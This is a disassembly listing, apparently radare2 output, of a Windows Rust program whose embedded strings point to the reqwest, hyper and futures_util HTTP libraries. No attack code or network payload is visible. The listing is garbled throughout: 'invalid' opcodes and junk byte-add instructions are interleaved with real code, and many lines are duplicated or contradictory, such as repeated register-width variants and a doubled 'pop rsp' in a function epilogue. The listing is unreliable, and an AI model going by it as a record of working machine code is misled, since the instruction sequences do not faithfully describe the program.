lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x3b8], 2
add byte [rax], al
mov qword [rsp + 0x3d0], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x60
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x60
mov qword [rsp + 0x3c0], rax
mov dword [rsp + 0x3c0], eax
mov qword [rsp + 0x3c8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea edx, [0x140142158]
lea edx, [0x140142158]
lea rcx, [rsp + 0x3b0]
call fcn.140108560
invalid
add al, ch
and dword [rbx], edx
add al, 0
invalid
add byte [rax - 0x73], cl
or eax, 0x7c74a
lea rcx, str.tx_only_taken_on_error
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs
mov edx, 0x16
call fcn.140108990
lea rax, [rsp + 0xb0]
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x60
add byte [rax], al
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
lea rcx, [rsp + 0x178]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, [0x1401424a0]
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x3b8], 2
mov dword [rsp + 0x3b8], 2
mov dword [rsp + 0x3b8], 2
mov qword [rsp + 0x3d0], 0
lea rax, [rsp + 0x60]
invalid
and al, 0xd0
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x60
invalid
invalid
mov qword [rsp + 0x3c0], rax
mov qword [rsp + 0x3c8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
adc eax, 0x7b1f7
adc eax, 0x7b1f7
lea rcx, [rsp + 0x3b0]
call fcn.140108560
add al, 0
add al, 0
mov ecx, 8
mov edx, 0x30
call fcn.1401082c0
invalid
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
invalid
add al, 0
invalid
lea rcx, [rsp + 0x3b0]
lea r8, [rsp + 0x2f0]
mov rdx, r13
mov edx, ebp
mov edx, ebp
call fcn.1400c4760
mov r12, qword [rsp + 0x3b0]
cmp r12, 5
jne 0x1400c73be
invalid
add byte [rax], al
invalid
movabs al, byte [0x248c8804b1000000]
invalid
mov cl, 4
mov byte [rsp + 0x161], cl
cmp ebp, 0x3b9aca00
je 0x1400c66a0
test byte [rbp - 0xd], ch
invalid
invalid
test byte [rbp - 0xd], ch
invalid
call fcn.1400df770
mov r8d, edx
xor ecx, ecx
mov r9, qword [rsp + 0x108]
cmp rax, r9
setne cl
mov edx, 0xff
cmovae edx, ecx
xor esi, esi
cmp r8d, ebp
mov ecx, 0
sbb ecx, ecx
leave
leave
test dl, dl
cmovne ecx, edx
cmp cl, 2
jb 0x1400c746f
mov qword [rsp + 0x3b0], r9
mov dword [rsp + 0x3b8], ebp
lea rcx, [rsp + 0x3b0]
add byte [rax], al
add byte [rax], al
mov rdx, rax
call fcn.1400d5b50
cmp edx, 0x3b9aca00
cmove edx, esi
cmovne rsi, rax
mov rcx, rsi
call fcn.1400d6e00
movzx eax, byte [rsp + 0x161]
mov dh, 0x84
and al, 0x61
add dword [rax], eax
add byte [rcx + 0x63], cl
add al, 0x87
mov dh, 0x84
and al, 0x61
add dword [rax], eax
add byte [rcx + 0x63], cl
add al, 0x87
add rax, r15
jmp rax
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
call fcn.140108b60
mov rsi, qword [rsp + 0x3b8]
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x540]
mov r8d, 0x88
call fcn.140106530
mov rdi, qword [rsp + 0x168]
test rdi, rdi
mov rbp, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x98]
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x88]
je 0x1400c7445
mov rax, qword [rdi + 0x30]
nop
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x1400c7410
and eax, 0xa
cmp eax, 8
jne 0x1400c7432
or al, byte [rbx + 0xb7508f8]
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c7445
mov rcx, qword [rsp + 0x168]
call fcn.1400bf9b0
cmp r12d, 4
je 0x1400c77e3
lea rcx, [rsp + 0x320]
lea rdx, [rsp + 0x540]
xchg esp, eax
and al, 0x40
add eax, 0xb8410000
mov byte [rax], al
add byte [rax], al
invalid
xchg esp, eax
and al, 0x40
add eax, 0xb8410000
mov byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add al, ch
invalid
call fcn.140106530
jmp 0x1400c7634
add cl, ch
invalid
movzx eax, byte [rsp + 0x161]
mov r12d, 4
test eax, eax
je 0x1400c7571
cmp eax, 3
mov rbp, qword [rsp + 0x90]
mov ebp, dword [rsp + 0x90]
add ecx, dword [rax - 0x75]
lodsb al, byte [rsi]
and al, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x88
add byte [rax], al
add byte [rbp + riz*2 - 0x7d], dh
clc
add al, 0xf
test dword [rdx + 0x48000001], eax
add byte [rax], al
mov rsi, qword [rsp + 0x168]
mov ebp, dword [rsp + 0x90]
mov rbx, qword [rsp + 0x98]
mov r15, qword [rsp + 0x88]
je 0x1400c7507
cmp eax, 4
jne 0x1400c762d
add byte [rax], al
add byte [rax], al
mov rsi, qword [rsp + 0x168]
test rsi, rsi
mov r14, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
je 0x1400c7514
mov rax, qword [rsi + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c74d0
and eax, 0xa
cmp eax, 8
jne 0x1400c74f2
or al, byte [rbx + 0xb7508f8]
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c7514
mov rcx, qword [rsp + 0x168]
call fcn.1400bf9b0
jmp 0x1400c7514
mov rcx, r13
call fcn.1400c45f0
mov r14, qword [rsp + 0x58]
cmp byte [rsp + 0x160], 0
je 0x1400c7629
add byte [rax], al
add byte [rdi], cl
test byte [rdi], al
add dword [rax], eax
add byte [rax - 0x75], cl
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
mov rsi, qword [rsp + 0x110]
test rsi, rsi
je 0x1400c7629
mov rax, qword [rsi + 0x30]
nop word [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
cmpxchg dword [rsi + 0x30], ecx
cmpxchg dword [rsi + 0x30], ecx
xor byte [rbp - 0xf], dh
jne 0x1400c7540
and eax, 0xa
cmp eax, 8
jne 0x1400c7562
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
sbb dil, r15b
push rax
invalid
sbb dil, r15b
push rax
adc al, dh
dec qword [rsi]
lock dec qword [rsi]
je 0x1400c7618
jmp 0x1400c7629
mov rsi, qword [rsp + 0x140]
mov rdi, qword [rsp + 0x148]
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call qword [rdi]
cmp qword [rdi + 8], 0
mov rbp, qword [rsp + 0x90]
lodsb al, byte [rsi]
and al, 0x90
add byte [rax], al
add byte [rax], al
lodsb al, byte [rsi]
and al, 0x90
add byte [rax], al
add byte [rax], al
mov rbx, qword [rsp + 0x98]
mov r14, qword [rsp + 0x58]
add byte [rax], al
mov rbx, qword [rsp + 0x98]
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x88]
je 0x1400c75c7
cmp qword [rdi + 0x10], 0x11
jb case.0x14009ea2d.141
mov rsi, qword [rsi - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x118]
call fcn.140085650
mov rsi, qword [rsp + 0x110]
invalid
add dword [rax], eax
add al, ch
jl 0x1400c75b2
sti
dec dword [rax - 0x75]
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
div byte [rax + rcx*2 + 0x48]
mov rax, qword [rsi + 0x30]
test rsi, rsi
je 0x1400c7629
mov rax, qword [rsi + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c75f0
and eax, 0xa
cmp eax, 8
jne 0x1400c7612
or al, byte [rbx + 0xb7508f8]
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c7629
mov rcx, qword [rsp + 0x110]
call fcn.1400bf9b0
xor esi, esi
jmp 0x1400c7634
xor esi, esi
jmp 0x1400c7634
xor esi, esi
mov r14, qword [rsp + 0x58]
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xf8]
mov ecx, dword [rsp + 0xf8]
call qword [rax + 0x18]
cmp r12d, 3
jne 0x1400c5eb4
invalid
invalid
invalid
invalid
invalid
movzx eax, byte [rsp + 0x2c0]
mov byte [rsp + 0x120], al
movaps xmm0, xmmword [rsp + 0x2b0]
test byte [rax + rsi*4], ah
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x110], eax
add dword [rax], eax
invalid
test byte [rax + rsi*4], ah
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x110], eax
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov eax, dword [rsi]
mov rax, qword [rsi]
mov eax, dword [rsi]
shl rax, 1
test rax, rax
je 0x1400c768e
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], r14
mov rax, qword [rsp + 0xd8]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r14
mov eax, dword [rsp + 0x34]
mov dword [rsi + 0x18], eax
mov eax, dword [rsp + 0x38]
mov dword [rsi + 0x1c], eax
mov eax, dword [rsp + 0x3c]
mov dword [rsi + 0x20], eax
mov eax, dword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov dword [rsi + 0x24], eax
movzx eax, word [rsp + 0x30]
xor byte [rsi - 0x77], ah
sub byte [rdi], r9b
mov bh, 0x44
and al, 0x32
xor byte [rsi - 0x77], ah
sub byte [rdi], r9b
mov bh, 0x44
and al, 0x32
mov word [rsi + 0x2a], ax
mov eax, dword [rsp + 0x48]
mov dword [rsi + 0x2c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsi + 0x30], eax
mov eax, dword [rsp + 0x50]
mov dword [rsi + 0x34], eax
mov eax, dword [rsp + 0x54]
mov dword [rsi + 0x38], eax
mov eax, dword [rsp + 0x44]
mov dword [rsi + 0x3c], r8d
mov dword [rsi + 0x3c], r8d
movaps xmm0, xmmword [rsp + 0x110]
movups xmmword [rsi + 0x40], xmm0
movzx eax, byte [rsp + 0x120]
movzx eax, byte [rsp + 0x120]
add byte [rax - 0x7b74afba], cl
and al, 0xb0
mov al, 3
add byte [rax], al
mov ecx, dword [rsp + 0x3b3]
mov byte [rsi + 0x50], al
mov eax, dword [rsp + 0x3b0]
mov al, 3
add byte [rax], al
mov al, 3
add byte [rax], al
mov ecx, dword [rsp + 0x3b3]
mov dword [rsi + 0x51], eax
push rcx
mov dword [rsi + 0x54], ecx
mov rdi, qword [rsp + 0xa0]
mov qword [rbx + 8], rsi
mov qword [rbx], 3
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x537502ff], al
cmp edi, 2
jne 0x1400c7788
mov rax, qword [rsp + 0x528]
cmp eax, 2
je 0x1400c7788
and al, 0x28
add eax, 0xf8830000
add dh, byte [rsi + rax*2 + 0x48]
mov esi, dword [rsp + 0x518]
invalid
add byte [rax], al
invalid
mov rsi, qword [rsp + 0x518]
add eax, 0x8b480000
add byte [rax - 0x75], cl
mov rdi, qword [rsp + 0x520]
mov rcx, rsi
mov esp, 0x52024
add byte [rax - 0x77], cl
int1
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400c777b
invalid
sbb eax, 0x107f8348
adc dword [rdx + 4], esi
cmp qword [rdi + 0x10], 0x11
jb 0x1400c7769
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x4f0]
call fcn.140085650
mov rax, qword [rbp]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne 0x1400c77bd
mov rcx, rbp
movaps xmm6, xmmword [rsp + 0x680]
movaps xmm7, xmmword [rsp + 0x690]
add rsp, 0x6a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
jmp 0x1400c4e80
movaps xmm6, xmmword [rsp + 0x680]
movaps xmm7, xmmword [rsp + 0x690]
add byte [rsi], 0
add byte [rdi], cl
sub byte [rsp + 0x690], bh
add rsp, 0x6a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
invalid
ud2
call fcn.14010f370
int3
test r12, r12
je 0x1400c7b9d
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c7bb5
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], r12
lea rax, fcn.1400bfae0
lea eax, [0x14013da10]
lea eax, [0x14013da10]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rcx
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
mov r12, qword [r15 + 0x18]
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov r8, rdi
mov r9, rsi
call r12
cmp rax, 2
jne 0x1400c7ae3
cmp ebp, 0x3b9aca00
jne 0x1400c7a5f
lea r14, [rsp + 0x20]
nop word cs:[rax + rax]
call fcn.1400d6c90
mov rcx, rbx
mov rdx, r14
mov r8, rdi
mov r9, rsi
call r12
cmp rax, 2
je 0x1400c7a40
jmp 0x1400c7ae3
xor r15d, r15d
lea r13, [rsp + 0x20]
nop word [rax + rax]
call fcn.1400df770
mov r8d, edx
xor ecx, ecx
cmp rax, r14
setne cl
mov edx, 0xff
cmovb ecx, edx
cmp r8d, ebp
call 0x1400c7b49
add byte [rcx], bl
rol byte [rcx + rcx*8 - 0x7f2ebaf1], cl
cli
add cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
call 0x1400c7b49
add byte [rcx], bl
rol byte [rcx + rcx*8 - 0x7f2ebaf1], cl
cli
add cl, byte [rdi]
invalid
mov dword [rax], 0x894c0000
je 0x1400c7ac8
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x70], ebp
push 0x70246c89
lea rcx, [rsp + 0x68]
mov rdx, rax
call fcn.1400d5b50
cmp edx, 0x3b9aca00
cmove edx, r15d
mov ecx, 0
cmovne rcx, rax
call fcn.1400d6e00
enter 0x32e8, 0xfffffffffffffff3
add byte [rax], al
mov rcx, rbx
mov rdx, r13
mov r8, rdi
mov r9, rsi
call r12
cmp rax, 2
je 0x1400c7a70
mov r15, rdx
mov rsi, rax
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call qword [rax + 0x18]
mov rax, rsi
test rsi, rsi
je 0x1400c7b53
test r15, r15
jne 0x1400c7b53
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c7bdc
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], 1
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x7652d
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x7652d
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 5
add byte [rax - 0x77], cl
shr eax, 0x23
pop rsp
invalid
dec dword [rcx - 0x77]
invalid
mov rax, rsi
add byte [rax - 0x77], cl
shr eax, 0x23
pop rsp
invalid
mov rdx, r15
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov esi, 1
jmp 0x1400c7ae9
call fcn.140110220
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
mov r12, qword [rax + 0xc0]
lock inc qword [r12]
jg 0x1400c79a2
ud2
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140149a00]
mov edx, 0x5e
call fcn.140108990
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x14014a670]
mov edx, 0x28
call fcn.140108990
invalid
add al, 0
or eax, 0x8b90004
add byte [rax], al
add byte [rdx + 0x70], bh
mov ecx, 8
mov edx, 0x70
call fcn.1401082c0
mov ecx, 8
mov edx, 0x50
call fcn.1401082c0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x30
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x30
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x38
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea rcx, [rsp + 0x20]
call fcn.140108560
int3
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x50], r8
mov r15, rdx
mov rsi, rcx
lea r12, [rcx + 0x30]
lea rbx, [rsp + 0x38]
lea r14, [rsp + 0x70]
lea r13, [rcx + 0x10]
lea rdi, [rcx + 0x28]
lea rbp, [rsp + 0x20]
xorps xmm6, xmm6
mov rax, qword [rsi]
cmp rax, 1
je 0x1400c7d0c
jmp 0x1400c7dc8
movups xmmword [rsi], xmm6
mov rax, qword [rsp + 0x20]
and al, 0x20
and al, 0x20
mov rcx, qword [rsp + 0x28]
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [r13 + 0x10], xmm0
mov qword [r13], rax
mov qword [r13 + 8], rcx
mov rax, qword [rsi]
cmp rax, 1
jne 0x1400c7dc8
mov rcx, rbp
mov rdx, r12
mov r8, r15
call fcn.14004e1a0
mov rcx, qword [rsp + 0x20]
cmp rcx, 2
je 0x1400c7e36
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x80], xmm0
test rcx, rcx
je 0x1400c7e3d
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x1400c7e63
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [r14], xmm0
movups xmmword [rsi], xmm0
movups xmmword [rsi], xmm0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
cmp qword [rsp + 0x70], 0
je 0x1400c7db0
invalid
mov rax, qword [rsp + 0x60]
mov rax, qword [rsp + 0x60]
and al, 0x60
mov rcx, qword [rsp + 0x68]
and al, 0x68
movups xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
cmp qword [rsi], 0
jne 0x1400c7ce0
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x1400c7ce0
lea rcx, [rsp + 0x78]
xor r8d, r8d
call qword [rax + 0x10]
push rax
adc byte [rax - 0x75], cl
invalid
cmp rax, 1
je 0x1400c7d0c
push rax
adc byte [rax - 0x75], cl
invalid
test rax, rax
jne 0x1400c7e5c
mov eax, dword [rax]
add byte [rax], al
mov eax, dword [rax]
add byte [rax], al
mov rdx, qword [rsi + 8]
mov r12, qword [rsi + 0x20]
mov r15, r12
sub r15, rdx
mov rax, qword [rsp + 0x58]
cmp rax, r15
cmp eax, edi
cmp eax, edi
cmovb r15, rax
mov r14, r15
add r14, rdx
jb 0x1400c7eb1
cmp r14, r12
ja 0x1400c7ec3
mov r13, qword [rsi + 0x18]
add rdx, r13
mov rcx, qword [rsp + 0x50]
mov r8, r15
call fcn.140106530
mov qword [rsi + 8], r14
cmp r12, r14
jne 0x1400c7e5f
mov rax, qword [rsi + 0x10]
mov rcx, rdi
mov rdx, r13
mov r8, r12
call qword [rax + 0x10]
mov qword [rsi], 1
add dword [rax], eax
add byte [rax], al
jmp 0x1400c7e5f
mov eax, 2
jmp 0x1400c7e92
cmp qword [rsi], 0
jne 0x1400c7e55
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, rdi
adc byte [rax - 0x75], r9b
push rsi
sbb byte [rbx + rcx*4 + 0x46], cl
and byte [rax - 0x77], cl
stc
call qword [rax + 0x10]
mov qword [rsi], 2
xor r15d, r15d
xor eax, eax
jmp 0x1400c7e92
mov rcx, rdx
call fcn.1400bd770
mov r15, rax
cmp qword [rsi], 0
jne 0x1400c7e86
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
mov rcx, rdi
call qword [rax + 0x10]
mov qword [rsi], 2
mov eax, 1
mov rdx, r15
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
add byte [rax], al
add byte [rbx + 0x5d], bl
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_try_streaminto_async_read.rs
mov rcx, rdx
mov rdx, r14
bnd call fcn.140108810
pop rbx
invalid
bnd call fcn.140108810
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_try_streaminto_async_read.rs
add eax, 0x75b0e
mov rcx, r14
mov rdx, r12
mov edx, esp
call fcn.140108620
int3
int3
sal al, 0x49
shl ecx, 4
loope 0x1400c7eec
loope 0x1400c7eec
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x1400c7f12
mov eax, dword [r8 + 0x10]
mov eax, dword [rax + 0x10]
adc byte [rcx - 0x7d], cl
rcl byte [rax], 0x49
add ecx, 0xfffffff0
add r8, 0x10
add eax, 0x10
add r9, 0xfffffffffffffff0
test rax, rax
je 0x1400c7ef0
invalid
mov r8, qword [r8 + 8]
mov r9, rax
jmp 0x1400c7c80
outsb dx, byte [rsi]
std
invalid
invalid
outsb dx, byte [rsi]
std
invalid
inc dword [rcx - 0x48]
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
add byte [rax], al
add byte [rbp + 0x31], al
leave
xor r9d, r9d
jmp 0x1400c7c80
std
invalid
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
sub esp, 0x48
sub esp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp - 0x18], rcx
mov rbx, qword [rdx + 0x18]
mov r15, qword [rdx + 0x10]
xor r10d, r10d
mov rax, rbx
sub rax, r15
jb 0x1400c8238
add al, byte [rax]
invalid
mov rcx, qword [rdx + 8]
mov qword [rbp - 0x10], rcx
invalid
invalid
cmp rbx, rcx
ja 0x1400c8238
invalid
mov rcx, qword [rdx]
mov qword [rbp - 8], rcx
lea r8, [rcx + r15]
movzx ecx, byte [rdx + 0x28]
sub byte [rdi], cl
mov dh, 0x7c
or bl, byte [rdi]
sub byte [rdi], cl
mov dh, 0x7c
or bl, byte [rdi]
movabs r13, 0x101010101010101
imul r13, rdi
mov qword [rbp], rcx
add byte [r8 - 0x7d], r9b
stc
add al, 0xf
xchg byte [rax + 1], bl
add byte [rax], al
add byte [r8 - 0x7d], r9b
add byte [rax - 0x7d], cl
stc
add al, 0xf
xchg byte [rax + 1], bl
add byte [rax], al
xor r10d, r10d
movabs r9, 0xfefefefefefefeff
mov ecx, 0xfefefeff
invalid
invalid
invalid
dec byte [rax - 0x47]
add byte [rax - 0x7f7f7f80], 0x80
sub bl, 0x1a
mov ecx, 0xfefefeff
invalid
mov rax, qword [rbp - 8]
lea r8, [rax + r15]
add al, 0x38
add al, 0x38
mov rax, rbx
sub rax, r15
jb 0x1400c8238
cmp rax, 0x10
cmp eax, 0x10
jae 0x1400c8000
cmp rbx, r15
je 0x1400c8231
test byte [rsi + 2], bl
add byte [rax], al
test byte [rsi + 2], bl
add byte [rax], al
add byte [rcx], dh
mul byte [rsi + 0x66]
nop word cs:[rax + rax]
xor esi, esi
nop word cs:[rax + rax]
cmp byte [r8 + rsi], dil
je 0x1400c80b6
invalid
add byte [rax - 1], cl
invalid
inc rsi
cmp rax, rsi
jne 0x1400c7fe0
jmp 0x1400c8231
add byte [rax], al
nop word [rax + rax]
lea r11, [r8 + 7]
lea ebx, [rax + 7]
and r11, 0xfffffffffffffff8
and ebx, 0xfffffff8
jrcxz 0x1400c8000
sub r11, r8
jne case.0x14006bf32.354
lea rsi, [rax - 0x10]
xor r11d, r11d
jmp 0x1400c8045
invalid
invalid
cmp r11, rax
cmovae r11, rax
xor esi, esi
nop
not byte [rax + 0x303c3841]
cmp byte [r8 + rsi], dil
je 0x1400c80b6
inc rsi
cmp r11, rsi
cmp ebx, esi
cmp ebx, esi
jne 0x1400c8020
lea rsi, [rax - 0x10]
nop word cs:[rax + rax]
cmp r11, rsi
ja 0x1400c8080
mov esi, dword [rax + rbx]
xor r14, r13
lea r12, [r14 + r9]
not r14
and r14, r12
mov r12, qword [r8 + r11 + 8]
sbb byte [rax], cl
xor r12, r13
in al, dx
lea r10, [r12 + r9]
not r12
and r12, r10
or r12, r14
test r12, rcx
int3
int3
jne 0x1400c8080
add r11, 0x10
jmp 0x1400c8040
invalid
sub rax, r11
mov r10d, 0
je 0x1400c8231
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [r8 + rsi], dil
je 0x1400c80b3
cmp rax, rsi
jne 0x1400c80a0
jmp 0x1400c8231
add byte [rcx + rax - 0x22], cl
add r15, rsi
inc r15
mov qword [rdx + 0x10], r15
cmp r15, qword [rbp]
jb 0x1400c7fb0
invalid
out 0xfe, al
invalid
invalid
invalid
out 0xfe, al
invalid
dec dword [rbx + rdi + 0x7d]
invalid
cmp r15, qword [rbp - 0x10]
ja 0x1400c7fb0
or al, byte [rax]
mov edx, 4
add byte [rax], al
add byte [rax - 0x75], cl
add r8b, r13b
invalid
invalid
add al, 0
add byte [rax], al
add byte [rax - 0x75], cl
add r8b, r13b
invalid
lea rcx, [rdx + 0x20]
mov qword [rbp - 0x20], rcx
movabs r12, 0xfefefefefefefeff
mov esp, 0xfefefeff
invalid
invalid
invalid
dec byte [rcx - 0x42]
add byte [rax - 0x7f7f7f80], 0x80
invalid
invalid
invalid
invalid
mov esp, 0xfefefeff
invalid
add byte [rax - 0x7cb77f80], 0xf8
adc byte [rbx + 0x35], dh
jae 0x1400c8140
cmp rax, 0x10
cmp eax, 0x10
jae 0x1400c8140
cmp rbx, r15
je 0x1400c8231
xor r10d, r10d
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
cmp byte [r8 + r10], dil
je 0x1400c81d3
invalid
add byte [rcx - 1], cl
ret 0x394c
invalid
invalid
inc r10
inc edx
cmp rax, r10
jne 0x1400c8120
jmp 0x1400c8231
add byte [rsi + 0xf], ah
invalid
lea r9, [r8 + 7]
lea ecx, [rax + 7]
and r9, 0xfffffffffffffff8
sub r9, r8
jne 0x1400c8156
lea r10, [rax - 0x10]
xor r9d, r9d
jmp 0x1400c8180
cmp r9, rax
cmovae r9, rax
xor r10d, r10d
cmp byte [r8 + r10], dil
je 0x1400c81d3
inc r10
cmp r9, r10
jne 0x1400c8160
lea r10, [rax - 0x10]
jmp 0x1400c81af
add byte [rax], al
add byte [rbx - 0x75], cl
or al, 8
add byte [rax], al
mov rcx, qword [r8 + r9]
xor rcx, r13
xor ecx, ebp
lea r11, [rcx + r12]
not rcx
ror dword [rcx + riz - 0x27], 1
ror dword [rcx + riz - 0x27], 1
mov r11, qword [r8 + r9 + 8]
xor r11, r13
lea rsi, [r11 + r12]
lea esi, [rbx + riz]
and ecx, dword [rcx - 9]
ror dword [rcx + 0x21], cl
or r11, rcx
not r11
and r11, rsi
or r11, rcx
test r11, r14
jne 0x1400c81b4
add r9, 0x10
cmp r9, r10
jbe 0x1400c8180
sal dword [rsi - 0x34], 1
sub rax, r9
je 0x1400c8231
add r8, r9
xor r10d, r10d
xor edx, edx
